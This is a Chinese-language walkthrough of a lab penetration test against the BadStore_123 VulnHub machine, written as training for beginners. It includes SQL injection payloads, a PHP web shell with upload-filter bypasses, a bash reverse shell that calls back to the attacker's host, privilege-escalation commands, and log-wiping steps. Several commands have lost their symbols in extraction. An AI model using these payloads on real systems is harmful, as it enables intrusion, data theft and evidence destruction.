渗透测试入门实战:从BadStore_123靶机掌握SQL注入与权限提升
1. 项目概述为什么从BadStore_123开始你的渗透测试之旅如果你刚接触网络安全或者对渗透测试充满好奇面对VulnHub上琳琅满目的靶机列表可能会感到无从下手。BadStore_123这个听起来有点“坏”的商店恰恰是许多安全爱好者公认的“新手村”毕业考试。它不是最难的但绝对是最能帮你串联起基础知识的靶机之一。我当年也是从这个靶机开始一步步摸清了渗透测试的基本脉络。简单来说BadStore_123模拟了一个存在多处经典漏洞的在线商店应用。你的目标就是从外部网络通常是一个虚拟机环境出发找到进入这个“商店”后台的方法最终获取系统的最高权限root。这个过程就像一次完整的“数字入侵”演练涵盖了信息收集、漏洞扫描、漏洞利用、权限提升等渗透测试的核心环节。对于新手而言它的价值在于漏洞类型经典且不刁钻步骤逻辑清晰能让你在实战中理解“攻击链”是如何一环扣一环构建起来的。无论是想验证自学成果的学生还是希望入门安全测试的IT从业者这个靶机都能提供一次扎实的“手感”训练。2. 环境准备与靶机部署搭建你的专属“黑客实验室”在开始“动手”之前一个稳定、隔离的测试环境是重中之重。我们绝不能在真实网络或未经授权的系统上进行测试这是安全从业者的底线。2.1 核心工具选择Kali Linux与VirtualBox对于渗透测试Kali Linux是事实上的标准工具集。它预装了数百款安全工具从扫描到利用一应俱全。我强烈建议使用虚拟机软件来运行Kali这样既能保持宿主机的纯净也能方便地创建快照Snapshot——在关键步骤前保存状态万一操作失误可以瞬间回滚这是新手避免反复重装系统的救命稻草。我个人的环境搭配是VirtualBox Kali Linux虚拟机 BadStore_123靶机虚拟机。VirtualBox免费、轻量且跨平台对新手非常友好。将Kali和靶机都设置为“仅主机Host-Only网络”模式这样它们就处于一个与外界隔离的虚拟局域网内既能互相通信又不会影响你的真实网络安全又方便。注意确保你的电脑硬件支持虚拟化技术VT-x/AMD-V并在BIOS中已启用。否则虚拟机性能会极差甚至无法启动64位系统。2.2 靶机获取与导入BadStore_123的镜像文件通常是.ova或.vmdk格式可以从Vulnhub官网直接下载。下载完成后在VirtualBox中点击“导入”选择下载的镜像文件。导入过程中VirtualBox会创建一台新的虚拟机。这里有个关键点务必也将这台靶机虚拟机的网络适配器设置为“仅主机网络”并且确保它和Kali虚拟机在同一个虚拟网卡下比如都是VirtualBox Host-Only Ethernet Adapter。这样两台机器才在同一个网段能够互相ping通。启动靶机后它通常会显示一个登录界面或直接启动网络服务。此时你不需要知道它的密码我们的任务就是从外部找到进入的方法。记住靶机启动后的IP地址如果它显示的话或者我们待会儿用工具去发现它。2.3 Kali Linux基础配置与网络发现启动你的Kali虚拟机。首先我们需要知道靶机的IP地址。在Kali终端中使用ifconfig或ip addr命令查看自己的IP。假设Kali的IP是192.168.56.101那么靶机的IP很可能就在同一网段例如192.168.56.102到192.168.56.110之间。我们可以使用netdiscover工具进行主动ARP扫描来发现它sudo netdiscover -r 192.168.56.0/24这条命令会扫描192.168.56.0到192.168.56.255这个网段内所有活跃的主机。在输出结果中寻找MAC地址厂商信息可能为PCS Systemtechnik GmbHVulnhub靶机常用或其它非你已知设备的新IP那就是你的靶机了。假设我们发现了192.168.56.105。验证连通性ping -c 4 192.168.56.105收到回复说明网络通路正常实验室搭建完毕。3. 信息收集与侦察像侦探一样寻找线索渗透测试中超过60%的时间和价值在于信息收集。了解目标越多攻击面就越清晰。对于BadStore_123我们需要系统地收集它的“情报”。3.1 端口扫描摸清目标开放了哪些“门”使用Nmap进行全端口扫描是标准第一步。但新手常犯的错误是直接使用默认扫描可能会漏掉一些信息。我习惯使用以下组合命令sudo nmap -sS -sV -O -p- 192.168.56.105-sS: TCP SYN扫描一种隐蔽且快速的扫描方式。-sV: 探测开放端口上运行的服务及其版本信息。知道版本号对于寻找对应漏洞至关重要。-O: 尝试识别目标主机的操作系统。-p-: 扫描所有65535个端口而不是默认的1000个常用端口。有些服务会开在高端口上。扫描结果可能会显示类似如下信息PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.38 ((Debian)) 3306/tcp open mysql MySQL 5.5.5-10.3.22-MariaDB这表明靶机开放了80端口的Web服务和3306端口的MySQL数据库。Web服务是我们的主攻方向。3.2 Web应用侦察目录、文件和指纹识别既然有Web服务我们接下来就要深入研究这个网站。首先用浏览器访问http://192.168.56.105看看它长什么样。BadStore_123通常是一个在线商店的界面。目录枚举网站根目录下往往有隐藏的目录或文件比如/admin、/backup、/config等。使用gobuster或dirb工具进行暴力枚举gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt-u: 指定目标URL。-w: 指定字典文件这里用了Kali自带的常用目录字典。-x: 指定尝试的文件扩展名。这个步骤可能会发现一些关键入口比如/admin.php、/index.php等。指纹识别使用whatweb或浏览器插件如Wappalyzer来识别网站使用的技术栈whatweb http://192.168.56.105这能告诉我们网站是否使用了特定的CMS如WordPress、开发框架、前端库等。对于BadStore它可能就是一个简单的PHP应用。手动探索不要完全依赖工具。手动点击网站每一个链接尝试每一个表单。查看网页源代码CtrlU注释里有时会藏着提示、备份密码或者隐藏路径。同时用Burp Suite这类代理工具拦截所有请求观察参数传递和响应头信息可能会发现更多细节。4. 漏洞挖掘与利用找到并打开那把“锁”信息收集完毕后我们进入核心环节寻找并利用漏洞。BadStore_123通常包含几个经典漏洞。4.1 漏洞一SQL注入获取后台访问权限在浏览网站时你可能会发现一个商品搜索框或用户登录框。这里往往是SQL注入的高发区。以搜索功能为例在搜索框尝试输入一个单引号‘。如果页面返回了数据库错误信息如“You have an error in your SQL syntax”那么存在SQL注入的可能性就极大。接下来我们可以使用sqlmap这个自动化工具进行深入利用但作为新手理解原理更重要。手工测试逻辑判断注入点类型输入1 and 11和1 and 12观察页面返回内容是否不同。如果不同说明注入点可能影响查询结果。确定字段数使用order by子句。例如输入1 order by 5--不断递增数字直到页面报错就能确定查询语句使用的字段数量。联合查询获取数据假设字段数是3可以构造-1 union select 1,2,3--。如果页面正常显示并且数字2或3的位置在页面上被回显出来说明我们可以在这个位置替换成我们想查询的数据。获取数据库信息将回显位置的数字替换为数据库函数例如-1 union select 1, database(), version()--这样就能在页面上看到当前数据库名和版本。通过SQL注入我们的终极目标往往是获取网站后台管理员的用户名和密码哈希值。查询语句可能类似于-1 union select 1, username, password from users--假设我们获得了管理员用户名admin和密码哈希5f4dcc3b5aa765d61d8327deb882cf99这是password的MD5值。4.2 漏洞二文件上传与WebShell获取获得后台管理员凭证后我们登录网站后台管理界面。在后台常常存在文件上传功能比如用于上传商品图片。利用思路绕过前端验证如果上传时前端JavaScript检查了文件扩展名如只允许.jpg, .png直接禁用浏览器JS或使用Burp Suite拦截修改请求即可绕过。绕过后端验证这是关键。后端可能通过检查文件扩展名、MIME类型或文件内容来判断。扩展名绕过尝试上传shell.php.jpg、shell.php%00.jpg空字节截断取决于PHP版本、shell.pHp大小写混淆或.htaccess文件配合特定解析规则。MIME类型绕过用Burp Suite拦截上传请求将Content-Type字段从application/x-php改为image/jpeg。内容绕过在PHP文件开头添加图片魔数如GIF89a或者将PHP代码嵌入到图片的EXIF信息中需要服务器配置不当。对于BadStore一种常见方法是直接上传一个包含一句话木马的PHP文件例如shell.php内容为?php system($_GET[cmd]); ?如果上传成功并且我们能通过浏览器访问到这个文件如http://192.168.56.105/uploads/shell.php那么我们就获得了一个WebShell。通过在URL后附加参数?cmdwhoami就能在页面上看到命令执行的结果这标志着我们拿到了网站服务器的命令执行权限。4.3 漏洞三命令注入与反弹Shell有时网站功能本身就可能存在命令注入。例如后台有一个“Ping测试”或“系统信息”的功能它接收用户输入如一个IP地址并直接传递给系统命令执行。测试方法在输入框尝试拼接系统命令。例如输入127.0.0.1; whoami。如果页面上显示了当前系统用户如www-data则存在命令注入。为了获得一个更稳定、功能更完整的交互式Shell我们需要“反弹Shell”。原理是让靶机主动连接我们Kali上的一个监听端口。在Kali上开启监听nc -lvnp 4444nc是netcat工具-l监听-v详细输出-n不解析域名-p指定端口4444。在命令注入点执行反弹命令 通过WebShell或命令注入点执行如下命令根据靶机系统环境选择bash -c bash -i /dev/tcp/192.168.56.101/4444 01这里192.168.56.101是你的Kali IP4444是监听端口。获取交互式Shell 一旦命令执行Kali的终端会接收到一个来自靶机的Shell连接。但这个Shell可能是“哑巴”的没有提示符无法使用Tab补全。我们需要将其升级为完全交互式的TTY# 在获取到的shell中依次执行 python3 -c import pty; pty.spawn(/bin/bash) # 或者如果python不可用 script -qc /bin/bash # 然后按 CtrlZ 挂起 stty raw -echo; fg # 最后重置终端 reset执行成功后你将获得一个功能完整的Shell可以更方便地执行后续操作。5. 权限提升从“平民”到“皇帝”拿到www-dataWeb服务用户的Shell只是第一步这个用户权限很低。我们的最终目标是root。提权Privilege Escalation是渗透测试中最体现技术深度的环节之一。5.1 信息收集为提权铺路在靶机Shell中我们需要系统地收集信息寻找提权突破口# 查看当前用户和权限 id whoami sudo -l # 查看当前用户能以root身份无需密码运行哪些命令这是黄金线索 # 查看系统信息 uname -a # 内核版本 cat /etc/os-release # 发行版信息 dpkg -l | grep linux-image # 查看已安装内核Debian/Ubuntu rpm -qa | grep kernel # 查看已安装内核RHEL/CentOS # 寻找SUID/SGID特殊权限文件 find / -type f -perm -4000 -ls 2/dev/null # SUID find / -type f -perm -2000 -ls 2/dev/null # SGID # 查看计划任务 crontab -l ls -la /etc/cron* /var/spool/cron/ # 查看可写的敏感文件或目录 find / -writable -type d 2/dev/null | grep -v proc | grep -v sys find / -perm -ow -type f 2/dev/null | grep -v proc | grep -v sys # 查看网络连接和进程 netstat -antup ps aux5.2 利用SUID二进制文件提权在find / -type f -perm -4000 -ls 2/dev/null的结果中寻找那些本不该具有SUID权限的常见命令。例如如果发现/bin/bash或/bin/sh有SUID位那么直接运行/bin/bash -p就能获得一个root shell-p参数用于保留特权。更常见的情况是一些具有SUID权限的程序存在漏洞。例如经典的nmap旧版本交互模式、vim、find、cp、mv等可以通过特定参数或方法逃逸到root shell。需要根据发现的SUID程序名称去搜索引擎查找对应的提权利用方法Exploit。5.3 利用内核漏洞提权如果系统内核版本较旧可能存在公开的本地提权漏洞LPE。我们可以使用uname -a得到内核版本然后去exploit-db.com或GitHub上搜索对应的漏洞利用代码Exploit。操作流程在Kali上找到或编写对应的Exploit代码通常是C语言。在靶机上找一个可写目录如/tmp或/dev/shm。通过多种方式将Exploit代码传到靶机如果靶机有wget或curl可以直接从Kali的HTTP服务下载在Kali上python3 -m http.server 8080在靶机上wget http://192.168.56.101:8080/exploit.c。如果没有网络工具可以用echo命令一行行写入文件或者用base64编码后传输。在靶机上编译并运行Exploitgcc exploit.c -o exploit然后./exploit。重要提示运行未知的Exploit代码存在风险可能会造成系统崩溃。务必在虚拟机环境中测试并提前做好快照。5.4 利用环境变量或路径劫持提权如果sudo -l显示当前用户可以以root身份运行某个特定命令且不需要密码这就是一个绝佳的提权点。例如User www-data may run the following commands on target: (root) NOPASSWD: /usr/bin/vi这意味着我们可以用root权限运行vi编辑器。在vi中我们可以通过:!bash或:shell命令逃逸出一个root shell。另一种情况是如果sudo允许运行一个脚本而这个脚本调用了其他命令如ls,cat但没有使用绝对路径我们就可以通过修改PATH环境变量让我们自己的恶意程序优先被调用从而实现提权。6. 后渗透与痕迹清理可选在获得root权限后渗透测试的主要目标已经达成。在真实授权的测试中我们可能还需要进行后渗透活动如横向移动、持久化驻留、窃取或破坏数据等。但在Vulnhub这样的学习环境中我们通常到此为止。关于痕迹清理在未经授权的测试中这是非法行为。在授权测试中也需根据规则操作。对于学习目的我们了解即可。常见的清理包括删除WebShell、清除命令历史history -c清空~/.bash_history、删除上传的Exploit文件、清除系统日志如/var/log/auth.log,/var/log/apache2/access.log中的相关条目。但现代系统和安全设备往往有更先进的审计机制完全不留痕迹非常困难。7. 常见问题与排查技巧实录在实际操作BadStore_123或其他靶机时你肯定会遇到各种问题。这里记录几个我踩过的坑和解决方法。问题1Nmap扫描不到靶机。排查首先确认两台虚拟机网络模式都是“仅主机网络”。在Kali里ping一下靶机假设的IP。如果不通在VirtualBox全局设置里检查“仅主机网络”的网卡配置确保IPv4地址范围合理如192.168.56.0/24。也可以尝试重启虚拟网卡或虚拟机。问题2找到了SQL注入点但sqlmap跑不出数据。排查可能是WAFWeb应用防火墙或简单的过滤规则干扰。尝试降低sqlmap的检测等级和风险等级sqlmap -u http://target.com/page?id1 --level2 --risk2。也可以使用--tamper参数尝试绕过脚本如space2comment。最重要的是先用手工测试确认注入类型和闭合方式再给sqlmap提供准确的--dbms数据库类型和--technique注入技术参数。问题3文件上传成功但访问时返回403或404。排查路径错误确认上传后返回的文件路径。有时路径是相对路径或经过重命名。权限问题上传的文件可能没有执行权限。尝试在WebShell或命令注入点用chmod x shell.php给文件添加执行权限但PHP执行不依赖此权限。解析问题服务器可能没有配置解析该扩展名。尝试换用.php5,.phtml等扩展名。目录不可执行即使文件可执行如果上传目录如/uploads/在Apache配置中设置了Options -ExecCGI或没有ExecCGIPHP文件也不会被解析。尝试上传到其他已知的Web目录如/var/www/html/下的某个子目录。问题4反弹Shell命令执行了但Kali上nc没收到连接。排查命令语法确保反弹Shell命令的语法适用于靶机的Shell是bash还是sh。可以尝试多种Payload。网络问题靶机可能出不了网或者防火墙阻止了外出连接。检查靶机iptables规则iptables -L。尝试用其他端口如53, 443, 8080。监听问题确认Kali上的nc监听命令正确且没有其他程序占用4444端口。可以换一个端口试试。编码问题如果通过Web URL传递反弹命令需要确保特殊字符如,,,空格被正确URL编码。使用Burp Suite的Decoder模块进行编码后粘贴。问题5提权Exploit编译失败或运行崩溃。排查环境不符Exploit可能针对特定的内核版本或发行版。仔细核对靶机信息。尝试搜索其他针对同一漏洞的不同Exploit代码。依赖缺失编译可能需要libc开发库。尝试静态编译gcc exploit.c -o exploit -static。防护机制现代系统可能有ASLR地址空间布局随机化、DEP/NX数据执行保护等安全机制。Exploit可能需要特别绕过。可以尝试关闭ASLRecho 0 | sudo tee /proc/sys/kernel/randomize_va_space但这通常需要已有一定权限。完成BadStore_123的渗透标志着你已经走完了一个标准渗透测试流程的绝大部分核心步骤。每个成功的漏洞利用背后都是对原理的理解和细节的把握。我建议你在完全掌握这个靶机后不要停留在“复现步骤”而是尝试用不同的方法达到同一目的比如不用sqlmap而用手工注入完成整个数据获取并记录下你的操作和思考。这才是从“新手”走向“熟练工”的关键。